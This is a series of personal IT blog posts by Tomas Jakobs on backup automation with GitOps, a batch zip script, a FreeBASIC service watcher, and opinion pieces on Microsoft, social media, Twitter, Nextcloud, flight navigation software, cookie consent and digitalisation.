Dependencies and workflows are determined solely by the administrator’s ‘logic’. What do I mean by that? It would be stupid, for example, if all DNS servers were backed up simultaneously offline and therefore became unavailable. It’s even more stupid if two months later another admin asks why the second DNS is missing and thinks he can quickly push it into the backup job.

Very few people use APIs and scripting integrations, if offered by backup software at all. How can a check be carried out methodically and regularly without automation? And don’t even get me started on scaling.

It is worth noting that backup jobs themselves have no audit or change logs. Which administrator did what, when and where is left completely unknown by Veeam & Co. So how does a responsible non-admin know whether a particular VM is still part of a backup or has been swapped for something else in the meantime?

For instance, a company I personally know did not back up the VM of the critical ERP system for almost a year, but instead the development system of the external service provider. The mix-up was caused by an admin during a ‘clean-up’ and nobody noticed. It was only when the development VM was finally removed that everyone wondered why the daily status emails were no longer green.

Backup software is increasingly becoming a problem itself. Proprietary black boxes with unknown modes of operation are set up in central locations and can affect critical areas across intentionally created segments and separations.

At the same time, this single point of failure⁴ collects credentials that can be easily read out using powershell scripts.⁵ Increasing online constraints and non-transparent data outflows in the form of telemetry are additional challenges.

Challenges not understood

Administrators often work with methods from the 80s and ignore the progress of the past decades. Even though the number of servers is increasing, I still see manual logins on servers. Regardless of ideological discussions about ‘Linux or Windows’, ‘console or GUI’, this is utterly wrong!

Scaling does not mean hiring more staff, but rather automating more and, above all, better. Kristian Köhntopp showed 9 years ago in his presentation ‘Go Away Or I Will Replace You With A Very Little Shell Script’ how unproductive and dangerous manual ‘climbing onto’ servers is:⁶

If you have to climb onto a computer to check something, the monitoring is obviously broken. If you have to climb onto a computer to change something, the automation is obviously broken and hopefully not just one box is broken, but all the others too, and hopefully in the same way.

Wherever availability has to be guaranteed because companies and people’s livelihoods depend on it economically, automation is a mandatory requirement.

We use ‘Veeam’, I often hear. Fine, but unfortunately they don’t understand the problem. I fear that the business models with the multiple ways of charging are not even noticed: expensive licence subscriptions for proprietary software on the one hand, ransoms on the other. But the support at Veeam is so good. Which support? No call centre agent or non-admin at the other end of a phone line, chat or email will help you if everything is down and the backups are gone. This is an extreme case of Stockholm syndrome.⁷

GitOps Solution

Originating from DevOps,⁸ the term GitOps refers to the operation of an infrastructure with the help of Git⁹ version control. The ‘single source of truth’¹⁰ for infrastructure operations, server setup, adaptation of software packages and automated processes with your scripts is transparent and traceable.

Last year, a medium-sized company was faced with the question of whether it was still willing to spend large sums of money on a small HyperV cluster consisting of two nodes. The price tag was EUR 17,000.

No proprietary software is required for complete, daily backups of VMs, supplemented by midweek and weekly swaps to other storages and external USB media.

At a fraction of the cost, all backups are now controlled by a Forgejo server that is only accessible internally.¹¹ Each node in the cluster automatically pulls the repo with its backup scripts and executes them.

A positive psychological side effect for every managing director: it’s good to have the whole company in your hands and to be able to restart everything on a random computer at any time.

Since then, more repositories have been added. From the ‘digital twins’ presented here for testing Windows updates¹² to the creation of semi-daily database dumps of all specialised applications. From Bash, PowerShell, batch files and Ansible scripts to small tools and AutoIt programmes, everything can be found here - your mileage may vary.

Conclusion

Most data backup concepts do not withstand reality checks. Administrators are getting lost in the wilderness. The lack of automation drives up IT costs, creates errors and technical debt.

Standardised GitOps workflows are the solution. The technology is free, the concept neither complicated nor difficult to implement.

It should be mentioned that GitOps for data backups only works if some preliminary homework has been done. This includes not migrated Exchange black boxes, missing mail gateways, missing mail archive programmes, non-isolated network segments and, unfortunately, often a lack of separation of hypervisors and the AD that is to be safeguarded. This is where Microsoft’s misconception of a HyperV cluster having to be a member of a domain becomes very apparent. The combination of this and convenience leads to the ultimate cluster fuck when the last DC is ravaged by ransomware and the whole cluster no longer boots up.

However, the most important prerequisite for GitOps is the right mind-set, the culture. Administrators must be able to look at problems systematically and solve them programmatically, free of any ideologies.

With this in mind,
Your Tomas Jakobs

Pain Management

Tomas Jakobs — Fri, 14 Apr 2023 13:53:47 +0200

Today, shortly before weekend, I felt that pain again when seeing a PowerShell script. Somebody has literally raped the System.IO.DirectoryInfo across several pages and eternalised himself beyond anything related to aesthetics, technology or rationality. The aim of the script was to zip all the subdirectories of given folder one by one and push them to another drive with an ISO 8601-compliant timestamp prefix.

To ease the pain, here’s my decades-old snippet. Literally just in three lines. For better customisation, only the variables are separated:

@echo off
set TheLogFile="d:\output.log"
set ZipExecutable="c:\Program Files\7-Zip\7z.exe"
set WatchPath=d:\daily
set TargetPath=z:
for /F "usebackq tokens=1,2 delims==" %%i in (`wmic os get LocalDateTime /VALUE 2^>NUL`) do if '.%%i.'=='.LocalDateTime.' set ldt=%%j
set ldt=%ldt:~0,4%%ldt:~4,2%%ldt:~6,2%
FOR /D %%I in ("%WatchPath%\*.*") do ( if EXIST "%WatchPath%\%%~nI" (%ZipExecutable% a -ssp -mx9 -mmt10 "%TargetPath%\%ldt%-%%~nI.7z" "%WatchPath%\%%~nI" -y >> %TheLogFile%) )

Have a nice weekend!
Tomas Jakobs

At My Service

Tomas Jakobs — Wed, 12 Apr 2023 06:50:00 +0200

Crashed services of a business software are inconvenient. If they occur more than once, it becomes annoying. If there is also a software supplier who is unwilling or unable to solve the problem, it gets complicated. A quick and pragmatic solution was needed shortly before the Easter holidays. If only there was not another obstacle in the way: It is all about Windows services.

No progress with on-board resources

Usually, modern operating systems provide an administrator with the necessary tools to control services. In Windows, it is the graphical snap-in services.msc in the Microsoft Management Console¹, which has barely changed since NT4 Option Pack. You can set the start modes and up to three error handling modes:

Restart a service
Execute a programme
Restart the computer

Unfortunately, these actions can only be applied to three error responses. After the fourth error, the service remains dead for at least one day. Someone in Redmond thought in the late 90s of the last millennium that the error counter only had to be set by full day. The graphical service control of Windows is therefore unsuitable. The interface, unchanged for decades, is a statement manifested in code that will not change in the future.

What about the PowerShell?² Missing functions in the GUI normally can be found there. But again, an admin looks into the abyss of a technological pile of broken pieces that has been accumulated and left untouched for decades.

The instance responsible for services in Windows is the Service Control Manager, SCM in short.³ Since NT4 times, there has been no way around this by design. In the .NET Framework there are methods and properties for starting or stopping services. The direct way to the unmanaged⁴ SCM remains conceptually denied. The lack of functions corresponds to that of the graphical user interface.

An indirect, rather “dirty way” is described in the MSDN article “Writing Windows Services in PowerShell”.⁵ A C-program generated from a PowerShell script is registered and executed as a service by the runtime. The disadvantages of this basic solution speak for themselves: Where normally one EXE file is sufficient, one has to deal with several scripts and one executable. The script execution, which by default is switched off for good reasons, must be activated system-wide. The overhead of the .NET script interpreter⁶ is dragged alongside. The usual service accounts with low privileges do not work. Full administration rights are necessary. This is, what security and programming madness looks like, no one wants to see in a production environment. The author of the MSDN article is well aware of this:

A service script written in Windows PowerShell will be good for prototyping a concept and for tasks with low performance costs (…) But for any high performance task, a rewrite in C++ or C# is recommended.

There is no way forward with Windows on-board utilities. A system without the possibility of controlling services is by definition not an operating system and has no role at all in any productive environment. However, this discussion has to be addressed elsewhere.

A service is needed

Back to the initial problem: How can troublesome, erratically crashing services be controlled and automatically restarted? With another service that queries the status via SCM and restarts them if necessary. All done noiselessly and unagitatedly. Which services are to be monitored is specified in a text file that is to be editable by the administrator.

For such tasks I have a secret weapon. Machine-oriented (it can even be programmed inline in assembler), “rocksolid” proven over many decades, with the full range of all language features of modern high-level languages and yet easy to handle. C-compatible libraries can be directly integrated and bindings exist for pretty much anything and everything. Of course, it’s all free and open source.

The solution: Servicewatcher

I created the servicewatcher in about two hours using the programming language Freebasic⁷ and compiled it in the fbc integrated gcc.⁸ The 64 bit Windows EXE is only 56 KB in size. Native⁹ without any dependencies only 524 KB of RAM are needed. The CPU load is not measurable.

In doing so, I have not reinvented the wheel. A ready-made example in C for Windows services exists in the MSDN.¹⁰ In the German Freebasic portal someone has already made efforts to port it.¹¹ However, the implementation unfortunately did not run in 64 bit and lacked some required functions. But it was a good start and served as a basis. I was able to derive the missing pieces of the puzzle from the MSDN.

Any better code editor with a freely configurable build system is suitable as an IDE. Under Linux I use Geany ¹². GTK surfaces I create visually with GNOME Glade.¹³ Because I have to talk to the Windows SCM for the servicewatcher and don’t need a UI for the console application¹⁴, I left my usual environment and programmed everything in a Windows VM with FBEdit¹⁵ written itself in Freebasic.

Those who have already used Basic dialects will immediately find their way around in Freebasic. It fulfils all the requirements that are expected of object-oriented¹⁶ languages. If you really want to push to the extremes, you can abuse everyting and create “Quick and Dirty” imperative¹⁷ progams like in GWBASIC.¹⁸

Perhaps it is due to my past that I first came into contact with BASIC¹⁹ on a Commodore C64 in the 80s. On my first Schneider Euro-PC I used Turbo-Basic and its successor Power-Basic.²⁰ Visual-Basic followed in the 90s, much later VB.NET and Xojo. To this day, BASIC in its modern, high-level form is somehow closer to me than C or Python.

Small challenges and tools like servicewatcher are therefore welcome and quickly “written down” simply doing their job without fuss.

Sub ServiceStopRaw()
Dim ServiceStat As SERVICE_STATUS
Dim hServiceControlManager As HANDLE
Dim hService As HANDLE
hServiceControlManager = OpenSCManager(pg->wsComputerName, BYVAL NULL, SC_MANAGER_CREATE_SERVICE)
If hServiceControlManager Then
hService = OpenService(hServiceControlManager, pg->wsServiceName, SERVICE_ALL_ACCESS)
If hService Then ControlService(hService, SERVICE_CONTROL_STOP, @ServiceStat)
CloseServiceHandle(hServiceControlManager)
EndIf
End Sub

Of course the original cause of the crashing services of the enterprise resource planning solution has not been solved. But the solution programmed in Freebasic relieves the customer’s pains.

As expected and appropriate, he has received the GPL source code together with a short documentation as a Git repo.

Have a good day,
Yours, Tomas Jakobs

Update 07.08.2024:

You’ll find the repo of this project on codeberg.org:
https://codeberg.org/tomas-jakobs/servicewatcher

Some baselines on Microsoft

Tomas Jakobs — Sat, 25 Mar 2023 14:01:28 +0100

In a developer forum today I came across a Netcraft statistic that shows how meaningless Mirosoft has become with its IIS server, .aspx and .NET webservices.¹

The largest loss in sites for a major vendor this month comes from Microsoft, which is down 2,866,173 sites (-9.59%) and 74,094 domains (-0.98%).

Since the peak in 2017/2018 with over 50% share of web servers, the statistics show only one direction. All this in the face of steadily growing server sales² and more VMs or containers per unit.

Today, Microsoft is languishing somewhere below 5% in almost all metrics. Only in mail server usage it holds up at 13% with its outlook.com servers and more or less forced hybrid Exchange usage.³

If these baselines are not enough and you still think Microsoft is the non plus ultra, here are a few more data points:

Merely 1.2% of all internet hosts come from the Azure.⁴
Half of the world’s internet traffic comes from mobile devices⁵, where Microsoft has no relevance.⁶
Only 27% of all devices on the internet are powered by Microsoft Windows, and the trend is downward.⁷

Especially when looking at the long term, it becomes clear how Microsoft has literally crashed in almost all metrics from a high level in the past 5-10 years.

Anyone making long-term technology decisions for their business today would be well advised not to gamble on Microsoft.

With a steadily rising share price⁸ and a steadily shrinking market share, it doesn’t take a degree in economics to predict that a drastic caesura is imminent.

With this in mind,
Tomas Jakobs

Old Knowledge

Tomas Jakobs — Sun, 19 Mar 2023 21:23:10 +0100

This week, I found these treasures from the digital prehistoric times in a customer’s basement:

The Nixdorf 8870 Quattro/45¹ with its real-time operating system and the “Workplace 80” as a terminal. Devices from Nixdorf were once in every bank and behind every ATM. Unfortunately, the fate of the company² was sealed with the early death of the company founder Heinz Nixdorf³.

The world of midrange data technology⁴ pursues an innovative holistic approach to digitization. Today’s terminal server-based environments with ERP solutions are basically just much too complex variations of this approach.

Teaching aspiring IT professionals how to handle a flexible 8" or 5.25" floppy disk is hardly possible. The fact that a notch had to be punched on the side or a piece of tape was enough to override the copy protection is also a knowledge that is missing and at risk of being lost.

My personal tip for rainy days: Visit the world’s largest computer museum, HNF, in Paderborn.⁵

In this sense,
have a good start into the new week!
Tomas Jakobs

On the wrong side of history

Tomas Jakobs — Sun, 19 Mar 2023 10:10:00 +0200

Journalist Carole Cadwalladr¹ said it in her TED Talk², and she meant Facebook. It has been proven since the Cambridge Analytica scandal³ that so-called “social” media are anything but social. They are a catalyst for hate and racism⁴, give more reach to radical and extremist positions, do not comply with laws⁵, and prevent public discourse⁶. They are diametrically opposed to our societal values.⁷

Free from control and in the fog of opacity, so-called social media do not consider human fates. Target maximization is more important than the common good. Fake news spreads up to six times faster than fact-based news reports.⁸ Even US President Joe Biden didn’t mince words when asked about the so-called social media’s handling of COVID-19 misinformation:⁹

They’re killing people.

This is even more evident in the long-term damage that appears in statistics afterwards. Zuckerberg, Sandberg, Page, Brin, and Elon Musk are responsible for the disproportionate increase in suicide rates among young girls in the United States.¹⁰ Girls like Amanda Todd¹¹ or Jessica Scatterson¹². Doctors and experts see a correlation with the consumption of so-called social media.¹³

Social media use is more strongly associated with depression in girls compared with boys and cyberbullying is more closely associated with emotional problems in girls compared with boys.

Further studies and surveys for the German-speaking area can be found on the website of the “Schau hin” initiative.¹⁴

Human experiments

Since the leaked documents from whistleblower Frances Haugen¹⁵, we know: The responsible parties at Facebook, Twitter & Co know the effects¹⁶, while publicly denying everything¹⁷.

Facebook and Instagram’s algorithms - which tailor the content that a user sees - were causing harm.

“Psychographic messaging” has been going on for at least 10 years. These are nothing more than human experiments by displaying, omitting or repetitively displaying content. Millions of people are manipulated daily without their knowledge. Led into targeted dependence with their smartphones¹⁸. An addiction, hidden behind euphemisms like “engagement” or “interactions”. The psychographic¹⁹ characteristics come from personal behavior data.

When the first studies reached the public through scientific peer reviews in 2014, the outrage forced Sandberg to apologize²⁰. Not for the experiments themselves - for the alleged failed communication.

The Netflix documentary “The Social Dilemma”²¹ describes the underlying mechanics:

Increase dependency and usage time through useful tools and dark patterns such as “continue scrolling.”
Ensure that people keep coming back and bring other friends.
Monetize participating companies and their advertisements.

Data protection protects people

After a lead time and warnings, our highest data protection officer is now serious. At least the authorities responsible for him are no longer allowed to operate “fan pages” on so-called social platforms.²²

The BfDI does not consider the data protection-compliant operation of Facebook fan pages to be possible.

It borders on parody when the Federal Press Office requests judicial clarification here²³. At the same time, however, the federal administration prohibits social media on his own devices:

You must be aware that the data may be misused. Some of the servers are located abroad. This is not only the case with Tiktok, but also with Facebook or Instagram.

At the same time, there is an astonishing dialectic in which the need is repeatedly reported to align with people’s media use and to reach them where they are supposed to be.

This painlessness is often heard among advertisers and personnel managers. When I ask them specifically about KPIs²⁴, it always becomes very thin very quickly. In all cases known to me personally, assumptions were based on data that could not be verified by third parties. Issued by those who were commissioned with a campaign. Well, you might aswell ask the wolf in the morning how many sheep he killed at night - it’s just as practical and saves you from counting.

Which side of history are you on?

In this sense,
Tomas Jakobs

Telekom MangentaCloud becomes Nextcloud

Tomas Jakobs — Wed, 08 Mar 2023 12:00:00 +0100

Congratulations to Telekom with its millions of MagentaCloud¹ users. Throughout the year², they will switch to Nextcloud³ and the online office service Collabora⁴, based on the free LibreOffice⁵. This is a real success story for Nextcloud and its years of work in winning over ISPs⁶.

This reduces the arguments of proponents of Microsoft365 solutions who consider Nextcloud, Collabora, or Libreoffice as niche solutions. In recent years, I have personally seen the exact opposite. More and more people are using open-source solutions as a replacement for unpredictable and expensive subscription license models.

For existing Telekom customers, it is worth checking what benefits are included. It is unclear what limitations will be in place in the MagentaCloud as compared to self-hosted instances. According to reports in the Heise Forum, there is only one main user.⁶ In my managed cloud solutions, for example, there is no SSH and no root access for end customers.⁷

The on-premise Nextcloud instance on your own hardware remains the best recommendation. For those who are less technically proficient, MagentaCloud will be the first choice. With the Nextcloud app “Edit Files in Libreoffice,” which I presented two years ago, documents can be easily edited offline in the locally installed LibreOffice.⁸ Thanks to Federation⁹, data can be easily shared and prevent a vendor lock-in effect.¹⁰ In case of need, everything can be taken to your own instance.

In this sense,
Yours, Tomas Jakobs

How Platforms Die

Tomas Jakobs — Thu, 02 Feb 2023 20:00:00 +0100

Who would have thought six months ago that Twitter would die so quickly and clearly? My choice of words is not exaggerated. We are witnessing the death of a platform. Not that I ever had an account on this so-called social medium. I use its open API with my own Nitter instance¹, as introduced here as a blog post two years ago².

Free of advertising, the collection of behavioral data, a user interface full of distractions, dark patterns, and 3rd-party content, I read tweets from interesting people as an RSS feed together with all other news in my personal Nextcloud news reader.

That’s over now. The new owner of Twitter is destroying what made this service great.³ Anyone who wants to continue using the Twitter API after February 9, 2023, must pay. The need seems to be greater than the intellect. And it remains to be doubted that the decision-maker is aware of what he is doing. With the laughable lead time of only one week, it will be exciting to see which websites, apps, and services suddenly stop functioning properly.

The Twitter API is used not only by my insignificant Nitter instance but also by numerous other services and apps. Media websites access cited tweets as well as countless plugins in web builders and shops with “Login with Twitter” functions. Marketing departments of companies cross-post their contributions to multiple platforms with third-party applications.

Even if some erratic decisions of the recent past were quickly reversed⁴, one thing becomes clear to me: it’s time to cut the last connection. For three reasons:

For a little over six months, I have felt very comfortable on Mastodon⁵ and have observed that almost all institutions and people I provided with a Nitter RSS feed have found their way into the Fediverse.

On Twitter, more and more of the “bottom of the Internet” is accumulating. Conspiracy theorists, Nazis⁶, racists, and simply annoying people like Trump⁷ are regaining their accounts and reach. There are more advertising revenues. At the same time, the bullshit emitted on Twitter is becoming less and less controlled in general. Too expensive because of the effort and personnel involved.

In recent weeks, my Nitter instance has increasingly been the target of false-positive abuse reports. It is obvious that the personnel cuts⁸ at Twitter lead to a noticeable increase in malware and ransomware, which increasingly find their way onto the computers of those affected through Twitter tweets.

The last abuse report came a few days ago from Argentina. In addition to 10 minutes of server downtime, an email exchange with my ISP, a snake-oil vendor it put my server for 2h on an blacklist. The two following screenshots show what this looks like.

It’s good that my mail and reverse VPN servers with other services are on different IP addresses. It has its advantages to separate important functions from each other.

Anyone who is still engaged on the dying Twitter platform is well advised to jump ship in time. Inconsequential tweets rarely generate revenue, least of all behind a paywall. In the circle of Nazis, racists, and the disgusting bottom of the net, they do, however, permanently damage a brand, their own company, and all the people associated with it.

Elon Musk doesn’t care about users, advertisers or the company he’s bought. It’s all about quick money to reduce his personal expenses and liabilities. By hook or by crook. He lost the mantra of the “maker” with Tesla or SpaceX. People like Musk are dangerous - they usually end up destroying what they painstakingly created with their own rear end.

In search of a term for this decline, I came across Cory Doctorow⁹. He coined the term “enshittification” of platforms¹⁰.

Here is how platforms die: First, they are good to their users; then they abuse their users to make things better for their business customers; finally, they abuse those business customers to claw back all the value for themselves. Then, they die. (…) this is the enshittification lifecycle.

In ten years, Twitter will be mentioned along with former giants like Compuserve, Lycos, Yahoo, or AltaVista. And people will wonder how a rich snob could destroy an ecosystem that had grown over decades so quickly and brutally.

In this sense,
have a pleasant Twitter-free time,
Your Tomas Jakobs

Linux Presentation Day in Dortmund

Tomas Jakobs — Sun, 16 Oct 2022 08:30:00 +0200

The Linux Presentation Day (LPD)¹ on 19.11.2022 is intended to promote the free operating system and its applications to anyone interested. All over Germany² universities, user groups, computer and chaos clubs will open their doors simultaneously and invite people to:

Discover the various free operating systems and applications
Exchange experiences in a cosy atmosphere
Installation session of PCs, notebooks or media centres

On this day, I will be present at the Chaostreff Dortmund from 1 p.m. on³ and will give two inspiring LightningTalks on the following topics:

Current Linux on older Apple hardware⁴
Raspberry as thinclient and kiosk system⁵

See you around,
Tomas Jakobs

Update 22.03.2023

Download the presentation file as PDF here⁶

Navigation with Enroute

Tomas Jakobs — Thu, 06 Oct 2022 21:40:00 +0200

Today, I’m excited to write about a special migration. This time, it’s me who’s switching from proprietary to free software. The challenge is navigation - not by car, bicycle, or foot. It’s about flying in the sky with an airplane. Admittedly, this is a niche with only a few players. Finding an open-source project here is delightful!

Unfortunately, there’s no space for a built-in device in the cockpit of my open biplane. The typical mounts with suction cups and goosenecks are out of scope as they’re not secure in wind and weather conditions. Besides, a display would ruin the charm of a historically-inspired biplane with an analogue “clock store”.

So, a solution for the wrist is needed. Suitable mounts can be quickly found in bicycle accessories. And since I need to renew my subscription to the proprietary software Skydemon this October 2022, I’ve spent the past few weeks searching for something better.

Download Video...Video im AV1-Format. Wenn Sie es nicht sehen, nutzen Sie einen Browser/App (noch) ohne AV1-Unterstützung.

Requirements

What do I want? What criteria do I use to measure success and good software? For me, a navigation app must be able to:

Display a moving map
Scale-Free and zoomable vector maps
Cover Europe with all airspace and optionally circuit patterns
Offer basic flight planning with wind factor and fuel consumption
Display track, heading, and groundspeed
Provide all airfield information and frequencies
Display METAR and TAF weather information
Be open-source with a free license
Must work offline
Uncluttered user interface

I appreciate software that focuses on a few core features and solves them ingeniously. Years ago, that was the Jeppesen app, which I switched to from Air Nav Pro in 2015.¹ But when the Boeing Corporation forced the half-finished ForeFlight as a replacement a few years later, I switched to Skydemon out of principle. It was a pragmatic switch without love. And though Skydemon has accompanied me faithfully on tours across Europe for many years, it always remained unfamiliar to me in terms of handling. To make a long story short, I’m really excited about Enroute from the first moment.²

Programmed in C++ by a small, dedicated team led by Stefan Kebekus, as a project of Akaflieg Freiburg e.V.³ with the support of the University of Freiburg. Everywhere in the app it’s evident that pilots, not marketing fluff or non-specialist decision-makers, were at work.

It’s free from complexity and feature-itis that overwhelms you with other apps during VFR flights⁴. Also, no behavioral data is collected. Only the METAR and TAF are retrieved directly from aviationweather.gov, leaving data traces there. The download and updating of the map data, which come from an Enroute server (more on that later), are pleasing.

What I don’t want is advertising nudging, in-app purchases, or crashes (of the app!). I wouldn’t write this if I hadn’t observed it repeatedly over a decade of practice as a pilot and flight instructor with 1500+ flight hours. Bugs may be fun in IT, but in general aviation, they quickly become dangerous when combined with other factors. And there are plenty of very good reasons why the systems of a certain manufacturer are practically irrelevant in the aviation industry. Below is a familiar image from IT, dangerous in general aviation, and a story as a footnote.⁵

Contextualization

In addition to that, there is a “special” circumstance in Germany. In almost all countries around us, free portals and open data licenses for official AIP, weather, and airfield data are available. I can attest to this personally from my foreign flights.⁶ However, in 2022, the German air traffic control (DFS) cannot offer a current PDF of the ICAO map of Germany for download. Neither on their website⁷ nor in the AIS portal.⁸ At least it can be displayed as a layer in the NOTAM briefing. But printed as a PDF, it only provides coordinates as text without map sections. Those who buy a DFS license for charts and ICAO maps for their apps or built-in devices can enjoy huge pixel blocks when zooming in, which are layered as bitmaps over vector maps.

When commercial and free projects like OpenAIP⁹ or OpenFlightmaps¹⁰ offer better solutions than the official sources, it says a lot about the technical and organizational state.

Possible cause: Own economic interests, positions, and posts in the sale of paper maps and digital usage licenses in the DFS company Eisenschmidt.¹¹ From my point of view, this is a problematic wishy-washy at the expense of not only the many sports and private pilots but also the general public. Either you play in the same league driven by accepted quality standards as a service provider with a sovereign mandate, or better not. Taxpayer money in free software projects contributes more to the public good than any public-corporate partnerships. Keyword: Public Money - Public Code.¹²

The App

For little money (around 75,- EUR), I got the cheapest noname Chinese device (Oscal) for this dedicated purpose. The only important things for the hardware were interchangeable batteries and a not too outdated Android system. A Google account was not required for commissioning and it took a while to clean up the device from the pre-installed, “phoning home” nonsense.

I then conveniently obtained Enroute via F-Droid.¹³ Big kudos to the documentation: the components and dependency list are very clear - that’s how it should be.¹⁴ Of course, I do not like the length of the dependencies. But I won’t complain. Enroute is programmed in volunteers’ spare time.

The planning mode of Enroute is intuitive and entirely sufficient. The wind comes from the METAR/TAF data and must be manually typed in. There is no update of wind data based on position.

I only connect the device to the internet as needed for AIRAC¹⁵ or weather updates. Otherwise, it remains offline, which results in a longer runtime for a continuously running, maximum brightness display. Those who own an external GPS mouse or a FLARM/ADSB can integrate it via WLAN/BT.¹⁶ Enroute uses the same databases as the built-in Air Avionics, Flarm, or Butterfly devices.¹⁷

The particularly pleasant thing is that the Enroute server is also free.¹⁸ It retrieves all map data from OpenAIP and OpenFlightmaps to convert it into the GeoJSON format required by the app.¹⁹

How nice it would be to live in a world where a gliding association like the DAEC²⁰ or various national aviation authorities would contribute their own Enroute servers to this project and not only relieve the only Uni-Freiburg server but also make Enroute more well-known as an app. This does not require complex or centralized cluster infrastructure. Simple mirror servers that are randomly queried from a server list for a download by the app and report their available bandwidth and utilization. If one server is at its limit, it switches to the next (+1) in the list. If this one is also tight, it goes to the next (+2) until after n requests, the best one so far is taken as a fallback. I get lost in technical details and wishful thinking.

Enroute also accepts various flight simulators as traffic and GPS receivers.²¹ I was able to establish a connection with MSFS2020 using fs2ff.²² Enroute can be quickly and easily installed on Linux desktops via Flatpak, simplifying route planning and information synchronization with other sources.

I am very satisfied with Enroute and hope that I can contribute to the popularity of this project with this blog.

Best regards,
Tomas Jakobs

Raspberry in the Background

Tomas Jakobs — Wed, 11 May 2022 07:30:00 +0200

Visualisations, live feeds from surveillance cameras or digital display solutions (eSignage) usually run on classic PC hardware. Hidden in industrial cabinets and protected enclosures, a lot of effort is spent when the only thing that matters is often the display of a simple web application. In addition, there are license or cloud subscriptions that companies rarely need.

In the upcoming c’t issue 12/2022 starting 21 May, I show in a 4-page practical article¹ how small single-board Raspi computers with free Debian and Firefox manage this task better and more economically.

The industrial cabinets pictured in the article come from an SME customer who has taken advantage of the potential of free software and has been able to significantly reduce their costs and dependencies.

Buy the next c’t, read it, build it!

With this in mind,
Tomas Jakobs

Update from 21.05.2022

Link to article added in footnote

https://www.heise.de/select/ct/2022/12/2204109513141146830 ↩︎

Told-you-so moment with Cookiebot

Tomas Jakobs — Mon, 06 Dec 2021 22:38:34 +0100

Today, the VG Wiesbaden announced to have prohibited the use of Cookiebot in summary proceedings of the Rhine-Main University of Applied Sciences (Az.: 6L 738/21.WI).¹

The Danish provider behind Cookiebot is well-known in the industry and advertises with the windy promise of obtaining DSGVO-compliant cookie consent from website visitors. Complete humbug, as the court pointed out:

Cookiebot processes the complete IP address of the end user on the servers of a company whose headquarters are located in the USA. This creates a third-country connection, namely to the USA, which is inadmissible in view of the so-called Schrems II decision of the European Court of Justice. The users of the website (…) would not be asked for their consent for data transfer to the USA. There was also no information about the possible risks associated with the transfer due to the so-called Cloud Act.

Two years ago, there was an exchange of e-mails with an external data protection officer about this particular provider, who unfortunately operated data protection on a purely deskbound basis and was, to put it mildly, somewhat unfamiliar with fundamental technical principles. In his opinion, Cookiebot was harmless, contrary to my objections and technical facts.

The result: incorrect advice and an invitation for competitors, employees or website visitors who might object to it. The affected customer is now well advised to adapt his finished website and to invest money and time again in what could have been finally solved two years ago.

There is no reason for simple websites without an online shop, forum or customer area to set cookies and transmit personal data. The court in Wiesbaden writes unequivocally:

Such data transmission is also not necessary for the operation of the website (…)

Anyone using third-party providers, who promises data protection with additional cookies and data processing has not understood the meaning of data minimisation and privacy by design and default.

Thank you for today’s Told-you-so moment about the external data protection officer, who oviously cannot be named here. Well, hopefully he’s reading this.

With this in mind,
Tomas Jakobs

🚫 https://verwaltungsgerichtsbarkeit.hessen.de/pressemitteilungen/hochschule-rheinmain-darf-auf-ihrer-webseite-nicht-den-dienst-%E2%80%9Ecookiebot%E2%80%9C-nutzen ↩︎

Digitalisation out of hell

Tomas Jakobs — Sun, 21 Nov 2021 14:00:00 +0100

10 years ago, the buzzword and digitalisation project “Industry 4.0” first emerged with nothing less in mind than the intention of unleashing a fourth industrial revolution.¹ Revolution as a term and metaphor is, of course, nonsense. Anyone with the slightest sense in the matter knows that digitalisation is rather like a marathon with many intermediate stages and does not come overnight to a company as a result of a management decree.

However, there is nothing wrong with the objectives of networked communication, information transparency, technological assistance and decentralisation. I actually welcome these objectives and would like to extend this list to “digital sovereignty”².

When apart from buzzwords only total failures remain and barely about 10 % of the companies are successful in their Industry 4.0 projects according to a survey by CapGemini³, I dare to ask: Is it due to the strategy, the implementation, the people or all of the above?

Two real life examples to think about, of course based on personal experience and without claiming universal applicability:

Industry (NT) 4.0

A fortnight ago, in the course of introducing an ISMS ⁴, I identified the oldest Windows computer in the inventory of a mid-sized company. With its 384 MB RAM, it reliably controls and visualises the processes and is part of a larger production line.

The system as a whole is technically sound, maximally efficient and has not only proven itself over the past decades but also left the typical infantile problems behind. For the specialists in the factory’s own maintenance department, there is hardly anything that cannot be repaired within a very short time. All components are standardised, easy to reach and the spare parts situation is quite acceptable.

The system is in its prime if there were not the rotten Windows NT4 Workstation⁵ and the closed-source management software. Like a dark shadow, they cast over the precious sensor values and the communication with an ERP and merchandise management system. Like a black box, it is not maintainable, not expandable and, thanks to proprietary programming and technologies, not easily portable to more up-to-date technology.

A good example of how closed-source software restricts digitalisation as well as advances whilst increasing complexity and costs elsewhere.

The idea of “autonomous” driving

Jump over to the automotive industry, which is undoubtedly in the midst of upheaval. Large manufacturers are pushing through the missed electrification and digitalisation. The results leave much to be desired, at least from the end customer’s perspective. Unfinished, overpriced and rarely thought-through solutions do not inspire confidence, at least not in me.

For example, during a test drive of an electric Volkswagen two years ago, I still encountered an “ignition key” in the display and manual. When I think of the Volkswagen automotive cloud with Azure⁶, I inevitably feel an impulse to vomit and cannot help but say “No, thanks”. Every time when a global corporation externalises its digitalisation, I see a desperate waving of a white flag.

If, at the end of the day, car buyers can no longer use their otherwise technically fully intact vehicle due to an app or server problem⁷, the product, including the product design, is immature and has nothing in common with the ideas of decentralisation, “autonomous driving” or “automotive freedom”.

Incompatible product life cycles

We are in the middle of a digitalisation that often has nothing to do with technology. Instead, the business basics are changing before our eyes. We are seeing the emergence of quantifiable iaccessnferior goods with questionable add-ons and sometimes inverted basic functions in place of durable and repairable goods.

Windows “operating system” as it exists today has been turned into an advertising, product and access platform, including tracking, against the user for some time now. With its multi-coloured start menu tiles full of advertising and product placements, it looks more like the AOL desktop access software used in the 1990s. Modern operating systems that offer their users maximum available resources and control look differently and are by the way open source. The examples can be applied to hardware, cars, industrial equipment, household appliances and many other goods and industries that take their cue from the broken concepts of an IT industry and adopt them unthinkingly.

I am cynical and claim that the smart promises of cost advantages or efficiency gains are bought with shortened product life cycles in the first approximation and leave risks from dependencies and technical debts⁸ unmentioned in the second approximation.

Sustainability goes differently. And so does digitalisation.
Operational excellence even more so.

With that in mind,
Tomas Jakobs

Raspi Horchposten in c't 19/2021

Tomas Jakobs — Wed, 18 Aug 2021 07:01:00 +0200

Hard-wired networks are usually provided with numerous security features. With wireless networks, however, admins often remain blind to intrusion attempts, which can be carried out by inexperienced users thanks to affordable gadgets. The remedy is a Wireless Intrusion Detection System (WIDS). Sounds expensive, but it isn’t. A Raspi, a Wi-Fi stick and free open-source software are all you need.

